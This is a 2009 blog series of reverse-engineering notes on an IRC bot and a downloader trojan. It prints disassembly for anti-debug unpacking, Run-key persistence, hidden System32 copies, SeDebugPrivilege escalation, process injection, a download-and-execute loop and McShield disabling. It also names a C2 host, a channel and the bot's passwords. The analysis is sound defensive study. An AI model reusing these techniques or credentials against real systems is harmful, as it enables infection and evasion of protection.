Wednesday, 23 December 2009

bot1.exe part8 - hey command

The first command the message string is compared to, after checking if the first char of the channel message is a '.',

00403985 8B 45 3C          mov     eax, [ebp+4Ch+var_10]
00403988 8D 48 01          lea     ecx, [eax+1]
0040398B 8A 00             mov     al, [eax]
0040398D 3A 05 90 70 45 00 cmp     al, byte ptr ds:a__2            ; "."
00403993 89 0F             mov     [edi], ecx
00403995 0F 85 B3 F9 FF FF jnz     loc_40334E

is 'hey':

0040399B                   loc_40399B:                          
0040399B 8B 3F             mov     edi, [edi]
0040399D 57                push    edi
0040399E 68 EC 4D 44 00    push    offset aHey                     ; "hey"
004039A3 89 7D 3C          mov     [ebp+4Ch+var_10], edi
004039A6 E8 05 E9 01 00    call    strcmp?
004039AB 85 C0             test    eax, eax
004039AD 59                pop     ecx
004039AE 59                pop     ecx
004039AF 0F 84 2C 70 00 00 jz      hey_cmd

If strcmp returns 0, the next token is compared against 'h4ckerr00lz'

0040AA1F FF 75 44          push    [ebp+4Ch+pwd_token_aux]
0040AA22 8B F8             mov     edi, eax
0040AA24 68 B0 70 45 00    push    offset aH4ckerr00lz             ; "h4ckerr00lz"
0040AA29 E8 82 78 01 00    call    strcmp?
0040AA2E 83 C4 20          add     esp, 20h
0040AA31 85 C0             test    eax, eax
0040AA33 74 45             jz      pwd_match

At pwd_match (0040AA7A) there is a call to validate_who_info which aparently checks whether the user info (unchk@foobar) matches the regex '*@*'. If it does a jump is taken to 0040AACF.
Here, the password token is compared against "h4ckerr00lz" once again, and if there is a match, then a jz is taken to 40AAFC.
Here, the nick is copied to arg_18, and a success message is sent back to the channel ('-main- Password accepted.').
arg_18 is an input/output argument. It fits the purpose of signaling if the user issuing the command has previously identified himself.
The first reference to arg_18 (inside the function that parses the irc command, and does all command flow control) is located at 403255:

00403255 8B 75 6C          mov     esi, [ebp+4Ch+arg_18]
00403258 C7 45 28 03 00 00+mov     [ebp+4Ch+var_24], 3
0040325F BF 80 00 00 00    mov     edi, 80h
00403264
00403264                   loc_403264:                             
00403264 8D 85 14 F2 FF FF lea     eax, [ebp+4Ch+var_E38]
0040326A 50                push    eax
0040326B 56                push    esi
0040326C E8 3F F0 01 00    call    strcmp?
00403271 85 C0             test    eax, eax
00403273 59                pop     ecx
00403274 59                pop     ecx
00403275 75 07             jnz     short loc_40327E
00403277 C7 45 38 01 00 00+mov     [ebp+4Ch+authenticated], 1

the variable authenticated is, in turn used as a verification, when the contents of the message start by '.' and the command is not 'hey':

004039CA 39 5D 38          cmp     [ebp+4Ch+authenticated], ebx
004039CD 75 17             jnz     short loc_4039E6
004039CF FF 75 AC          push    [ebp+4Ch+var_A0]
004039D2 68 40 4F 44 00    push    offset a332                     ; "332" - RPL_TOPIC?
004039D7 E8 D4 E8 01 00    call    strcmp?
004039DC 85 C0             test    eax, eax
004039DE 59                pop     ecx
004039DF 59                pop     ecx
004039E0 0F 85 2A 18 00 00 jnz     loc_405210       ; will lead to the ret

I haven't tried messing around with the topic message yet, so the jnz (who's path will lead to the matching of all other commands) is always taken, if the user hasn't already identified himself.

Monday, 14 December 2009

bot1.exe part7

After both threads have been run there is a call to sub_00402CF7 which I named netcode1.
This method starts by trying to resolve the URL perdesi.magicshells.org.
After resolving the URL, there is another call to sub_0040AF58:
sub_0040AF58(&var_2c, 4, 1, 0)

Let's take a closer look at sub_0040AF58.
This function takes 4 arguments. The first argument is the address of a variable. This is to be passed to other functions that may be called inside sub_0040AF58.
The second argument is an index to decide which function is to be called, from an array of functions.
The third to indicate whether sub_0040AEB0 should be called, and finally the fourth argument is a string to be compared against a list of strings.

This time, according to our arguments, sub_0040AEB0 will be called. This function checks to see if there is a running mIRC instance.
The function located at array[4] calls GetLocaleInfo with locale set to LOCALE_SYSTEM_DEFAULT and LCType set to LOCALE_SABBREVCTRYNAME. Once the locale abbreviated name is retrieved, a '|' is appended to it followed by 5 random numbers.
If mIRC was running at the time sub_0040AEB0 was called, '[M]' is the prefix of the newly created string.
Since our bot will connect to an irc server, this string, is going to be used as the nick.

netcode1 proceeds with the connection to the irc server (by connecting to perdesi.magicshells.org), and after logging in, it tries to join the channel '#r00lz#' with password 'r0lzxz'.
After spending sometime debugging sub_402FD2 (which is responsible for handling the irc protocol) I found that at address 403985 a check takes place to see if the first char of the message is a '.'. I assumed this should represent that whatever came after the '.' should be interpreted as a command.
The commands will be explored in a future post.

bot1.exe part6


The next step taken by the bot, after updating the registry, is the creation of a thread.
This thread will execute the function at address 0x41D0BB and the call to CreateThread has the creation flags set to 0 (so the thread will run immediatly upon creation).
This is the code of the newly created thread function:

0041D0BB  sub_41D0BB proc near                    
0041D0BB  push    esi
0041D0BC  xor     esi, esi
0041D0BE  loc_41D0BE:                             
0041D0BE  push    1
0041D0C0  push    esi
0041D0C1  push    esi
0041D0C2  push    esi
0041D0C3  push    esi
0041D0C4  push    esi
0041D0C5  call    thread_routine1_core
0041D0CA  add     esp, 18h
0041D0CD  push    ds:dword_45E438
0041D0D3  call    ds:Sleep
0041D0D9  jmp     short loc_41D0BE
0041D0D9  sub_41D0BB endp

As we can see, "thread_routine1_core" will be running on an infinite loop and this is the only thing sub_41D0BB will do.

After some variable initialization and preliminary checks, "thread_routine1_core" calls a function I named GrantSeDebugPrivilege with arguments ("SeDebugPrivilege",1) :

0041CD75  push    ebp
0041CD76  lea     ebp, [esp-60h]
0041CD7A  sub     esp, 554h
0041CD80  push    ebx
0041CD81  push    esi
0041CD82  push    edi
0041CD83  xor     ebx, ebx
0041CD85  push    49h
0041CD87  xor     eax, eax
0041CD89  cmp     ds:CreateToolhelp32Snapshot, ebx
0041CD8F  pop     ecx
0041CD90  lea     edi, [ebp+60h+var_12C]
0041CD96  mov     [ebp+60h+var_130], ebx
0041CD9C  rep stosd
0041CD9E  mov     ecx, 88h
0041CDA3  lea     edi, [ebp+60h+var_350]
0041CDA9  mov     [ebp+60h+var_354], ebx
0041CDAF  rep stosd
0041CDB1  jz      loc_41CF87
0041CDB7  cmp     ds:Process32First, ebx
0041CDBD  jz      loc_41CF87
0041CDC3  cmp     ds:Process32Next, ebx
0041CDC9  jz      loc_41CF87
0041CDCF  push    1
0041CDD1  push    offset aSedebugprivi_1          ; "SeDebugPrivilege"
0041CDD6  call    GrantSeDebugPrivilege

GrantSeDebugPrivilege will open a process token relative to the current process with desired access set to TOKEN_ADJUST_PRIVILEGES (Required to enable or disable the privileges in an access token.) | TOKEN_QUERY (Required to query an access token) (= 0x28):

0041CD10  lea     eax, [ebp+var_4]
0041CD13  push    eax
0041CD14  push    28h
0041CD16  call    ds:GetCurrentProcess
0041CD1C  push    eax
0041CD1D  call    ds:OpenProcessToken
0041CD23  test    eax, eax

It will then lookup the value of the privilege named "SeDebugPrivilige", and grant that privilege to the current process:

0041CD2E  push    [ebp+arg_0]
0041CD31  xor     esi, esi
0041CD33  push    esi
0041CD34  call    ds:LookupPrivilegeValueA
0041CD3A  test    eax, eax
0041CD3C  jz      short loc_41CD67
0041CD3E  cmp     [ebp+arg_4], esi
0041CD41 +mov     [ebp+var_14], 1
0041CD48  jz      short loc_41CD50
0041CD4A  or      [ebp+var_8], 2
0041CD4E  jmp     short loc_41CD54
0041CD50  loc_41CD50:                             
0041CD50  and     [ebp+var_8], 0FFFFFFFDh

0041CD54  loc_41CD54:                             
0041CD54  push    esi
0041CD55  push    esi
0041CD56  push    esi
0041CD57  lea     eax, [ebp+var_14]
0041CD5A  push    eax
0041CD5B  push    esi
0041CD5C  push    [ebp+var_4]
0041CD5F  call    ds:AdjustTokenPrivileges
0041CD65  mov     esi, eax
0041CD67
0041CD67  loc_41CD67:                             
0041CD67  push    [ebp+var_4]
0041CD6A  call    ds:CloseHandle
0041CD70  mov     eax, esi

Here we can read:
"
By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do. Some of the Win32 APIs that could be successfully called include the following: ...
"
According to this, the thread's next actions will probably need access to handles from other processes, so this is the reason why SeDebugPrivilege is granted to our process.

Once GrantSeDebugPrivilege returns, thread_routine1_core will call CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0) (0 indicates current process). With these two arguments, the call to CreateToolhelp32Snapshot will enumerate all processes.

0041CDDD 53                push    ebx
0041CDDE 6A 0F             push    0Fh
0041CDE0 FF 15 B0 F6 45 00 call    ds:CreateToolhelp32Snapshot

After this, the list of all processes will be iterated. The way thread_routine1_core was called (thread_routine1_core(0,0,0,0,0,1)) makes the following jz's instructions jump:

0041CE3B  loc_41CE3B:                             
0041CE3B  xor     eax, eax
0041CE3D  cmp     [ebp+60h+arg_10], eax
0041CE40  jz      short loc_41CE9F
...
0041CE9F  loc_41CE9F:
0041CE9F  cmp     [ebp+60h+arg_C], eax
0041CEA2  jnz     loc_41CF46
0041CEA8  cmp     [ebp+60h+arg_4], eax
0041CEAB  jz      loc_41CF5B

and at 41CF5B:

0041CF5B  loc_41CF5B:
0041CF5B             
0041CF5B  lea     eax, [ebp+60h+var_130]
0041CF61  push    eax
0041CF62  push    [ebp+60h+var_8]
0041CF65  call    ds:Process32Next
0041CF6B  test    eax, eax
0041CF6D  jnz     loc_41CE3B
0041CF73  xor     ebx, ebx

when Process32Next returns 0, the snapshot handle will be closed and the procedure will terminate.
It should be noted that thread_routine1_core will be called from somewhere else in the application, and it will be further analyzed at that point.

In addition to this auxiliar thread, another thread is created. The second auxiliary thread will wait for connections on port 113 and return the string ' : USERID : UNIX : xxxx" where xxxx is a random string generated by a call to sub_40AF58.

Thursday, 26 November 2009

bot1.exe part5

Unfortunatly I didn't make the progress I was expecting today. Here is what I've found out so far.
As I mentioned in my previous post, I managed to debug the child  process by changing the two bytes after the DOS signature (once the file had been created with CopyFile).
After the child has been created the parent process sleeps for 0xC8 ms and then closes handles. I don't know much about windows scheduling scheme, but since control will transit for the running process when it sleeps to another process, and since this process may be our child process, I will debug the child process until it unpacks itself and reaches 0x4027A5 (the call to loadDLLsAndInitializeWinINetApplicationHandle) and then I will terminate the parent process "cleanly".
The parent process calls CloseHandle on the handle for the child process, calls CloseHandle again on another handle and finally calls WSACleanup before exiting.

Let's have a look at our child process.
The child process behaviour is the same as the parent process until it reaches "main". Once there, the child process checks if the father is running by calling  WaitForSingleObject, and checking if the return value is not WAIT_TIMEOUT.
After the call to unknown_sub1 there is a test eax, eax / jnz . I still don't know exactly what this function does, however, the return value when called from the parent process is 0, and the return value when called from the child process is non-zero, so it is probably being used to check if the running process is the child.
The target of the jump instruction starts by checking if the argc is greater than 2  . Since the command line for the child process is created by the parent, this probably checks if the child was launched correctly.
After this, a function is called which returns in EAX the value of the handle (arg[1]) of the parent process, and this value is used, along with INFINITE to call WaitForSingleObject, so if the parent process is still running, and since INFINITE was passed, WaitForSingleObject will not timeout. The handle is then closed, and the original file (in our case \malware.exe) is deleted.

At 0x00402A9C ChangeRegistry function is called, taking as argument the address of "foobar.exe" where foobar is the random name generated by the parent process.

ChangeRegistry function will create/open a key named "Software\Microsoft\Windows\CurrentVersion\Run" subkey to the 0x80000002  predefined key (HKEY_LOCAL_MACHINE). Afterwards, it will create a value name "Windows LoL Layer" and set it's value to "foobar.exe". The function will proceed to create another registry entry, this time under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices named "Windows LoL Layer" with value "foobar.exe". The last change in the registry will be the creation of a value under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run named "Windows LoL Layer" with value "foobar.exe".


Tuesday, 24 November 2009

bot1.exe part4

After setting the attributes for the newly created file as described in my previous post, our current process is opened with OpenProcess(SYNCHRONIZE, TRUE, PID).
The return value (an handle to our process) is returned, and the value is used to create a string with the following format:
'FULL_PATH_OF_THE_NEW_FILE HANDLE "FULL_PATH_OF_THE_ORIGINAL_FILE"'
a note however, HANDLE is not in hexadecimal, but in decimal format.
The next in operation is a call to CreateProcess according to the following code snippet:

CreateProcess( 'C:\WINDOWS\System32\vycqfmq.exe',
   'C:\WINDOWS\System32\vycqfmq.exe 324 "path_to\…\malware.exe",
   NULL,
   NULL,
   TRUE,
   0x28, //between all the bits set by 0x28 and all the pre-defined values for creation flags the only common bit is the fourth bit, by the flag  DETACHED_PROCESS, so I'm guessing that 0x28 will be equivalent to 0x8 (DETACHED_PROCESS)
   NULL,
   "C:\WINDOWS\System32",
   startupInfoStruct_ptr,
   proccessInformationStruct_ptr
   )

These are the values in the STARTUP_INFO structure pointed to by startupInfoStruct_ptr:
cb 44h
lpReserved 0
lpDesktop 0
lpTitle offset word_444962
dwX 0
dwY 0
dwXSize 0
dwYSize 0
dwXCountChars 0
dwYCountChars 0
dwFillAttribute 0
dwFlags 1
wShowWindow 0
cbReserved2 0
lpReserved2 0
hStdInput 0
hStdOutput 0
hStdError 0

word_444962 holds 0 as well, so the only value set to something different from 0 are the dwFlags (set with STARTF_USESHOWWINDOW, which indicates that the wShowWindow member is valid).

So, we have a new process that
1) will be named as indicated by the first argument of CreateProcess
2) has command line set according to the second argument of CreateProcess
3) will inherit the handles of the father
4) will not be suspended upon its creation

After the call to CreateProcess, if it was successfull, our program terminates:

seg028:00402A07  call    CreateProcessA
seg028:00402A0D  test    eax, eax
seg028:00402A0F  jz      short loc_402A39
seg028:00402A11  push    0C8h
seg028:00402A16  call    Sleep
seg028:00402A1C  push    [ebp+processInformation]
seg028:00402A1F  mov     esi, CloseHandle
seg028:00402A25  call    esi ; kernel32_CloseHandle
seg028:00402A27  push    [ebp+var_18]
seg028:00402A2A  call    esi ; kernel32_CloseHandle
seg028:00402A2C  call    dynamicWSACleanup
seg028:00402A32  push    ebx
seg028:00402A33
seg028:00402A33  loc_402A33:                             
seg028:00402A33  call    ExitProcess

So, how to debug the newly created process? We cannot change the entry point bytes to 0xEBFE, since as we've seen previously, the entry point to the program will be the beginning of the header, and the values there must be 0x4D5A, I will try setting the next two bytes to 0xEBFE and see where I can go from there.

Monday, 23 November 2009

bot1.exe part3


After spending sometime debugging/looking at the code/asking for directions I finally reached what seems like the "main" function of this malware. Let's have a look at it then.
The function starts by setting a new exception handler and then calling GetTickCount. The return value in EAX is divided by 0x3E8 and the quotient is stored in a variable:

seg016:00402786  mov     esi, GetTickCount
seg016:0040278C  call    esi ; kernel32_GetTickCount
seg016:0040278E  xor     edx, edx
seg016:00402790  mov     ecx, 3E8h
seg016:00402795  div     ecx
seg016:00402797  mov     ticCountDiv0x3E8, eax

Afterwards there is another call to GetTickCount. The value is stored in a previously alloced memory region through the call to sub_422630. The address (0x341ED4) is retrieved from the thread's TLS.

Following this, there is a call to loadDLLsAndInitalizeWinINetApplicationHandle (rather verbose name).
This function will load and retrieve the address of the following procedures (from the respective dll's).
Finally, after some libraries have been loaded, and the functions' addresses looked up, a call to InternetOpenA("Mozilla/4.0 (compatible)",0,0,0,0). The reason for this still escapes me.
(The complete list of libraries and functions can be found here)
Afterwards there is a call to SetErrorMode(SEM_NOGPFAULTERRORBOX). I am guessing this is to prevent the malware from crashing and letting it's exception handler deal with any future exception.
Next, a mutex is created and the process waits for it to be in a signaled state, and WSAStartup is called.

Once this is done, there is a call to extractExtension( ModuleFileName_0, 0, 0, ptr_nameWOExtension, ptr_extension). After the call nameWOExtension will hold "malware" and extension will hold ".exe".
Following this there is a call to concatenateNameExtension(with format string "%s%s"), and we will have "malware.exe" in a variable (named nameWExtension).
Afterwards there is a call to unkown_sub1, which, as the name indicates, I haven't yet figured out exactly what it does.

The tick count previously saved is retrieved, multiplied by 0x343FD, then 0x269EC3 is added to it, the result is shifted right 0x10. The final value is stored in EAX, and saved in the memory location where the tick count was.
With this new value the string "winlolx" will be changed:
for each byte in "winlolx" the value V will be obtained as described above and the given byte will be set with (V % 0x1A + 'a')

seg028:004028AB  call    sub_422640
seg028:004028B0  push    1Ah
seg028:004028B2  cdq
seg028:004028B3  pop     ecx
seg028:004028B4  idiv    ecx
seg028:004028B6  push    esi
seg028:004028B7  add     dl, 'a'
seg028:004028BA  mov     byte ptr aWinlolx_exe[edi], dl  ; "winlolx.exe"
seg028:004028C0  inc     edi
seg028:004028C1  call    strlen?
seg028:004028C6  sub     eax, 4
seg028:004028C9  cmp     edi, eax
seg028:004028CB  pop     ecx
seg028:004028CC  jb      short generateAlternateName

The resulting string will be appended to the system directory (resulting in the string "C:\WINDOWS\System32\vmchqzo.exe"). The binary will check for the existence of this file through a call to GetFileAttributes, and if the call fails our file (malware.exe) will be copied to the file specified by the resulting string.

Afterwards, the file explorer.exe will be opened and it's time attributes will be read through a call to GetFileTime, and these values will be copied to our newly created file (through SetFileTime). In addition to this, the file attributes of the new file will be set to FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM.

This is it so far. Tomorrow I will continue the analysis.

Thursday, 19 November 2009

Inexperience

Since my last post I started reversing from what I determined to be the entry point of the malware.
Due to my inexperience, I am afraid that I spent the last couple of days working on what appears to be system library code. It was a tedious work, that unsurprisingly wasn't yelding any "real" results (that is: a deeper understanding of how the binary behaves).
Fortunatly (before I wasted any more time) I mentioned this to a friend of mine, and he brought to my attention that I was probably reversing a statically linked binary, and that I was in fact reversing a lot of code that didn't matter for the task at hand.
Basically I have learnt how to be more cautious, the hard way ...

Monday, 16 November 2009

bot1.exe part2

After my last post I started the analysis of the bot1.exe malware.
Just as the unpackme from my previous post, the execution starts at the beggining of the HEADER section.
After a couple of jumps there is a call to a procedure I called detach_dbg_rebuild_imports.
The packer used in this piece of malware introduces a new (at least for me) anti-debugging technique: the usage of the int 2Eh instruction.

The int 2Eh is the interrupt responsible to pass execution to a system call. The system call number is located in the EAX register, while the stackframe for that given syscall is pointed to by EDX (information found here)
When the int 2Eh occurs, EAX is holding the value 0xE5. I found this nice list of win32 syscalls and their respective numbers. So for WinXP we can see that 0xE5 is the number of the NtSetInformationThread syscall.
While I was googling for info on int 2Eh, I also found this post, where an explanation on how this system call can be used to detach the process from a debugger is found.
Quoting:
"We will submit that as the first parameter and the enum value for ThreadHideFromDebugger, 0x11, as the second parameter. If a debugger is attached and we pass in 0x11 to NtSetInformationProcess, our process will immediately detach any attached debugger and terminate the process."
So let's see what the stackframe pointed to by EDX looks like:

Stack[00000254]:0012FFB4  arg_0 dd 0FFFFFFFEh
Stack[00000254]:0012FFB8  db  11h
Stack[00000254]:0012FFB9  db    0
Stack[00000254]:0012FFBA  db    0

Which resembles very much the info gathered from the veracode post, and indeed if we set a breakpoint at the address after the int 2Eh instruction, the breakpoint is never reached.
In order to bypass this protection I have a breakpoint set at the int 2Eh, and then I adjust the EIP to the next instruction.

After this, there is a call to VirtualProtect with the arguments set as:

lpAddress 400000h
dwSize 1000h
flNewProtect 4 (PAGE_READWRITE)
lpflOldProtect 12FFC0h

Afterwards, there is a call to a procedure that uncyphers and restores the original binary values, and the import table is rebuilt. Once this is done, the program jumps to the original entry point through a jmp eax instruction.

Therefore I have found out what the original entry point of the binary is, and am now in the process of reversing it.

Saturday, 14 November 2009

bot1.exe part1

Since none of the links of the trojan worked, I searched for bot1.exe in offensive-computing.net and downloaded the file.
When I tried to disassemble it, the header segment was shown as code:

HEADER:00400000 4D       dec     ebp
HEADER:00400001 5A       pop     edx
HEADER:00400002 90       nop
HEADER:00400003 EB 01    jmp     short loc_400006

Let's review what we know about the PE-Header:

A PE-Header begins with a struct IMAGE_DOS_HEADER with the following fields:
e_magic (5A4Dh)
 e_cblp
 e_cp
 e_crlc
 e_cparhdr
 e_minalloc
 e_maxalloc
 e_ss
 e_sp
 e_csum
 e_ip
 e_cs
 e_lfarlc
 e_ovno
 e_res
 e_oemid
 e_oeminfo
 e_res2
 e_lfanew

The e_lfnanew fields tells us the offset of the PE-Signature (0x00004550), after this comes the structure IMAGE_FILE_HEADER, and then the structure IMAGE_OPTIONAL_HEADER.
IMAGE_OPTIONAL_HEADER begins the following fields:

Magic
 MajorLinkerVersion
 MinorLinkerVersion
 SizeOfCode
 SizeOfInitializedData
 SizeOfUninitializedData
 AddressOfEntryPoint

The AddressOfEntryPoint tells us the offset of the binary entry point.

With this in mind I followed the usual procedure of defining the structures of a PE Header, however, when defining the DOS_IMAGE_HEADER this was the result:

HEADER:00400000 __ImageBase     dw 5A4Dh                ; e_magic
HEADER:00400000                 dw 0EB90h               ; e_cblp
HEADER:00400000                 dw 1                    ; e_cp
HEADER:00400000                 dw 0E952h               ; e_crlc
HEADER:00400000                 dw 189h                 ; e_cparhdr
HEADER:00400000                 dw 0                    ; e_minalloc
HEADER:00400000                 dw 4550h                ; e_maxalloc
HEADER:00400000     dw 0                    ; e_ss
HEADER:00400000      dw 14Ch                 ; e_sp
HEADER:00400000      dw 2                    ; e_csum
HEADER:00400000      dw 0                    ; e_ip
HEADER:00400000      dw 0                    ; e_cs
HEADER:00400000      dw 0                    ; e_lfarlc
HEADER:00400000      dw 0                    ; e_ovno
HEADER:00400000      dw 2 dup(0), 0E0h, 30Fh ; e_res
HEADER:00400000      dw 10Bh                 ; e_oemid
HEADER:00400000      dw 0                    ; e_oeminfo
HEADER:00400000      dw 0Ah dup(0)           ; e_res2
HEADER:00400000      dd 0Ch                  ; e_lfanew
HEADER:00400040      db    0

As you can see the signature would be the value of e_maxalloc, and the offset e_lfanew points us to the contents of the IMAGE_DOS_HEADER (0x400000C), which means that the IMAGE_DOS_HEADER would be overlaping the IMAGE_FILE_HEADER structure.

Since I wasn't very sure of what was happening here, ran the bot through PEiD, and it showed the bot as being packed with "SimplePack 1.11 Method 2 -> bagie[TMX]", so I decided to find an unpackme packed with this method and found one that had been packed with SimplePack 1.2, even though it was not the same version, it should give me some idea of what was going on here.

Let's have a look at this unpackme then.
My guess was that the header had been changed by the packer, and that even if the structures had been messed with, if I followed the offsets blindy, I should be able to reach the original entry point of the program.

So, if I started at the PE-Signature address, and added 0x4 + 0x14 + 0x10 that should be the offset of the original entry point, which in this case was 0.

HEADER:00400000 4D       dec     ebp
HEADER:00400001 5A       pop     edx
HEADER:00400002 90       nop
HEADER:00400003 EB 01    jmp     short loc_400006

If we set a breakpoint at 0x00400000 the debugger will fail to start the program (my guess is that the opcode will be changed to 0xCC - from what I've read about debuggers here - and the "magic" field of the structure will be changed, and the binary won't be loaded), but we can set a breakpoint at the jump instruction, and the debugger stops there.

This is what I've found thus far. I will continue to reverse the unpackme until I am less clueless about what is going on with this packer and then I will proceed with bot1.exe analysis.

-
the info I gathered about the PE Header came from LUEVELSMEYER's tutorial on PE I heard about here http://win32assembly.online.fr/pe-tut1.html
-

Wednesday, 11 November 2009

Trojan.Downloader-4680 - part 3

In my last post I mentioned that a process was created with the command line arguments set to "svchost.exe ". In addition to this, the creation flags of the process are set to CREATE_SUSPENDED, and the first argument (lpApplicationName) is set to 0 which means that the module name to be ran must be the first token of the command line arguments (http://msdn.microsoft.com/en-us/library/ms682425(VS.85,printer).aspx).
Furthermore, since the creation flags are set to CREATE_SUSPENDED, the main thread of the new process will not run until a call to ResumeThread is made.
Let's assume that we have the PID of the new process (after the call to create process) since it will be needed later.
Following the process creation there is a call to VirtualAllocEx which will allocate 0x15000 bytes in the address space of the new process, starting at address 0x15160000.
Afterwards the allocated memory is written to, this time 0x15000 bytes starting at 0x15160000 in the current process will be copied to the address space of the created process starting at address 0x15160000.
Before the call to the ResumeThread function, the thread context of the newly created process is changed. The thread context is obtained from a call to GetThreadContext, and the _EIP field is changed to address 0x15161703, and only then is the process resumed.

With this in mind I assumed that the child process would resume at 0x15161703, so in order to test this, I patched the first two bytes at 0x15161703 to EBFE (the explanation is here by RolfRolles), attached the debugger to the running process and indeed the process is stuck in an infinite loop. Since we don't have any names in the attached debugger, instead of going through with the call to ResumeThread (in the original debugging session) we can change EIP register to point to 0x15161703 and see what the child process would do.

This is the beggining of the function:


UPX0:15161703  child1_begin_execution_addr:            
UPX0:15161703  push    offset aUser32_dll              
UPX0:15161708  call    k32_LoadLibraryA
UPX0:1516170E  call    k32_FreeConsole
UPX0:15161714  push    15170CC4h
UPX0:15161719  push    105h
UPX0:1516171E  call    k32_GetTempPathA
UPX0:15161724  push    offset aUrlmon_dll              
UPX0:15161729  call    k32_LoadLibraryA
UPX0:1516172F
UPX0:1516172F  loc_1516172F:                           
UPX0:1516172F  call    k32_GetCommandLineA
UPX0:15161735  add     eax, 0Ch                        

Since we are now emulating what the child process would have done, we have to take into consideration that our command line arguments are different. Namely we don't have svchost.exe in our command line. In addition to this, the GetCommandLine will return a string in the format: '"path"' instead of 'svchost.exe path', so we will have to change the byte pointed to by eax to 00, change the last byte of the string from '"' to 0, increment eax, and set all the references to the original value of eax to eax+1 (otherwise they would point to the '"' at the beggining of the string). In addition to this, we have to either set EIP so that it jumps over the add eax, 0Ch instruction, or subtract 0xC from eax (since our string doesn't begin with 'svchost.exe ').

0xC350 bytes are then read from the trojan file


UPX0:15161738  push    eax
UPX0:15161739  pop     trimmedCommandLine
UPX0:1516173F  push    0
UPX0:15161741  push    80h
UPX0:15161746  push    3
UPX0:15161748  push    0
UPX0:1516174A  push    3
UPX0:1516174C  push    80000000h
UPX0:15161751  push    trimmedCommandLine
UPX0:15161757  call    k32_CreateFileA
UPX0:1516175D  mov     fileHandle, eax
UPX0:15161762  push    0
UPX0:15161764  push    offset unk_151708B8
UPX0:15161769  push    0C350h
UPX0:1516176E  push    offset fileBuffer
UPX0:15161773  push    fileHandle
UPX0:15161779  call    k32_readfile
UPX0:1516177F  push    fileHandle
UPX0:15161785  call    k32_CloseHandle

and we will search the value 0xA7C6B453 ^ 0xCC (0xA7C6B453 being the value held at dword_151631DC):

UPX0:1516178B  mov     eax, dword_151631DC
UPX0:15161790  xor     al, 0CCh
UPX0:15161792  mov     edi, offset fileBuffer
UPX0:15161797  push    2710h
UPX0:1516179C  pop     ecx
UPX0:1516179D  repne scasd
UPX0:1516179F  mov     al, [edi]
UPX0:151617A1  inc     edi
UPX0:151617A2  mov     ecx, [edi]
UPX0:151617A4  add     edi, 4
UPX0:151617A7  push    edi
UPX0:151617A8  push    0
UPX0:151617AA  push    eax
UPX0:151617AB  push    ecx
UPX0:151617AC  push    edi

The next function called will rebuild the addresses from where files are to be downloaded:


UPX0:151617AD  call    sub_151616C8
UPX0:151617B2  pop     edi
UPX0:151617B3  push    edi
UPX0:151617B4  pop     download_urls1

After the call to sub_151616C8 download_urls1 holds the address of the first url (out of 6).
and our orinal trojan is deleted:


UPX0:151617BA  push    trimmedCommandLine
UPX0:151617C0  call    k32_DeleteFileA
UPX0:151617C6  or      eax, eax
UPX0:151617C8  jz      loc_1516172F

Each of the urls will be used to download information to a temporary file, and this file will be executed:


UPX0:151617CE  push    download_urls1
UPX0:151617D4  push    offset current_url              
UPX0:151617D9  call    k32_lstrcpy
UPX0:151617DF  push    download_urls1
UPX0:151617E5  pop     ebx
UPX0:151617E6  push    ebx
UPX0:151617E7  pop     download_urls2
UPX0:151617ED
UPX0:151617ED  loc_151617ED:                           
UPX0:151617ED  mov     eax, 0
UPX0:151617F2  push    offset tempFileName             
UPX0:151617F7  push    0
UPX0:151617F9  push    0
UPX0:151617FB  push    offset TempPath                 
UPX0:15161800  call    j_kernel32_GetTempFileNameA
UPX0:15161805  push    0
UPX0:15161807  push    0
UPX0:15161809  push    offset tempFileName             
UPX0:1516180E  push    offset current_url              
UPX0:15161813  push    0
UPX0:15161815  call    urlmon_dll_URLDownloadToFileA
UPX0:1516181B +mov     startupinfo.dwFlags, 1
UPX0:15161825 +mov     startupinfo.wShowWindow, 0Ah
UPX0:1516182E  push    offset lpPROCESS_INFORMATION
UPX0:15161833  push    offset startupinfo
UPX0:15161838  push    0
UPX0:1516183A  push    0
UPX0:1516183C  push    0
UPX0:1516183E  push    0
UPX0:15161840  push    0
UPX0:15161842  push    0
UPX0:15161844  push    offset tempFileName             
UPX0:15161849  push    0
UPX0:1516184B  call    k32_CreateProcessA
UPX0:15161851  push    0
UPX0:15161853  pop     eax
UPX0:15161854  mov     ebx, download_urls2
UPX0:1516185A
UPX0:1516185A  GoToNextUrl:                            
UPX0:1516185A  inc     ebx
UPX0:1516185B  mov     al, [ebx]
UPX0:1516185D  cmp     al, 0
UPX0:1516185F  jnz     short GoToNextUrl
UPX0:15161861  nop
UPX0:15161862  inc     ebx
UPX0:15161863  mov     al, [ebx]
UPX0:15161865  cmp     al, 0
UPX0:15161867  jz      short loc_15161886
UPX0:15161869  push    ebx
UPX0:1516186A  pop     download_urls2
UPX0:15161870  push    download_urls2
UPX0:15161876  push    offset current_url              
UPX0:1516187B  call    k32_lstrcpy
UPX0:15161881  jmp     loc_151617ED
UPX0:15161886
UPX0:15161886  loc_15161886:                           
UPX0:15161886  push    0
UPX0:15161888  call    k32_ExitProcess
UPX0:1516188E  retn

Saturday, 7 November 2009

Trojan.Downloader-4680 - part 2

As stated in my previous post, the call to search_process returns, and as EAX holds 0 the jump at 15161602 is taken and the search_proc_by_hash1 returns.
We proceed to search_proc_by_hash2

UPX0:15161504  search_proc_by_hash2:                   
UPX0:15161504  push    process_name_hash2
UPX0:1516150A  call    search_process
UPX0:1516150F  or      eax, eax
UPX0:15161511  jz      locret_151615DD
...
UPX0:151615DD  locret_151615DD:
UPX0:151615DD  retn

Once again search_process returns 0, so the jump is taken (and search_proc_by_hash2 returns as well).

Afterwards a call to disable_McShield takes place.

UPX0:15161133  disable_McShield proc near
UPX0:15161133  push    0F003Fh
UPX0:15161138  push    0
UPX0:1516113A  push    0
UPX0:1516113C  call    advapi_OpenSCManagerA
UPX0:15161142  or      eax, eax
UPX0:15161144  jz      short locret_15161197
UPX0:15161146  mov     ServiceControlManagerHandle, eax
UPX0:1516114B  push    0F01FFh
UPX0:15161150  push    offset aMcshield                ; "McShield"
